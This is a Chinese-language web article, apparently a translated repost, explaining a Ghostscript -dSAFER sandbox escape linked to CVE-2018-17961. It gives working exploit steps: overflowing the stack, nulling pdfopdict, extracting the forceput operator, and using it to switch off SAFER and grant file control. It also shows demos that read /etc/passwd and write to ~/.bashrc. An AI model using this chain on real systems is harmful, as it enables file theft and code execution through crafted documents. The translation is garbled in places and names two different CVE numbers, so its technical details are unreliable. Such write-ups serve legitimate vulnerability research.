這篇文章將為大家詳細講解有關基于漏洞CVE-2018-17961的dSAFER沙盒逃逸技術是怎樣的,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
今天給大家分析的是一種新型的ghostscript-dSAFER沙盒逃逸技術,目前這項技術仍然適用于當前正在使用的所有ghostscript版本。我不知道這個漏洞存在多久了,反正我是覺得已經很久了…
下面提供的漏洞利用代碼可以在最新的幾個版本中正常運行,如果你想在evince、imagemagick、gimp或okular中查看代碼的話,你還需要在~/.bashrc那里添加一行。因為nautilus將在沒有任何用戶交互的情況下自動調用evice-thumbnailer。如果你想觸發這個漏洞的話,你只需要在運行了漏洞利用代碼之后隨便瀏覽一個網站就可以了。
taviso@ubuntu:~$convert exploit.jpg output.jpgtaviso@ubuntu:~$tail -1 ~/.bashrcechopwned by postscript
Postscript的一個核心訪問控制功能就是它能夠標記可執行代碼的運行過程,這樣可以防止用戶窺視系統程序的執行,并獲取更強大的訪問操作權限。為此,我專門設計了一個完整的漏洞利用代碼,感興趣的同學可以自行下載測試【下載地址】。
當你在errordict中安裝了錯誤處理器之后,如果你終止了一個正在執行的操作進程,這樣便會將錯誤操作符暴露給錯誤處理器。此時,,rrorerdict便會忽略-dSAFER沙箱,這也就是本文所利用的漏洞CVE-2018-17183。
需要注意的是,這個漏洞目前還沒有被完全修復,因為你現在仍然可以調用錯誤處理器,并觸發錯誤,或者訪問內部狀態所保存的錯誤處理器。
其中一種漏洞利用方法為,找到能夠終止運行的執行進程,觸發一次異常,然后調用錯誤處理器并終止它的運行(可以通過/stackoverflow或/execoverflow來實現)。當出現故障時,操作碼堆棧將會處于一種不一致的狀態,因為ghostscript會嘗試設置錯誤處理器,但這種設置是無效的。
首先,用垃圾數據填充堆棧,只給錯誤處理器留下一小部分空間:
GS>01 300368 {} for
然后通過修改pdfopdict(改為非字典形式)來讓/switch_to_normal_marking_ops發生錯誤:
GS<300369>/pdfopdict null def
調用/switch_to_normal_marking_ops(當前正在執行狀態中):
GS<300369>GS_PDF_ProcSet/switch_to_normal_marking_ops get stopped
操作會失敗,因為/typecheck正在寫入pdfopdict:
GS<2>==True
查看已保存堆棧中的最后幾個元素:
GS<1>dupdup length 10 sub 10 getinterval ==[300364300365 300366 300367 300368 null /m {normal_m} --.forceput-- /typecheck]
大家可以看到,錯誤的操作符已經準備傳遞給錯誤處理器了。
其中,forceput是一個非常強大的操作符,它可以忽略所有的訪問控制,我們可以把它從堆棧中提取出來,然后用它來做我們想做的事情:
systemdict/SAFER false forceputsystemdict/userparams get /PermitFileControl [(*)] forceputsystemdict/userparams get /PermitFileWriting [(*)] forceputsystemdict/userparams get /PermitFileReading [(*)] forceput
結合之前所介紹的內容,我們看一看如何去讀取/etc/passwd中的數據,下面給出的是一份DEMO:
$ gs-dSAFER -f test.psGPLGhostscript GIT PRERELEASE 9.26 (2018-09-13)Copyright(C) 2018 Artifex Software, Inc. Allrights reserved.Thissoftware comes with NO WARRANTY: see the file PUBLIC for details.(root:x:0:0:root:/root:/bin/bash)
關于基于漏洞CVE-2018-17961的dSAFER沙盒逃逸技術是怎樣的就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。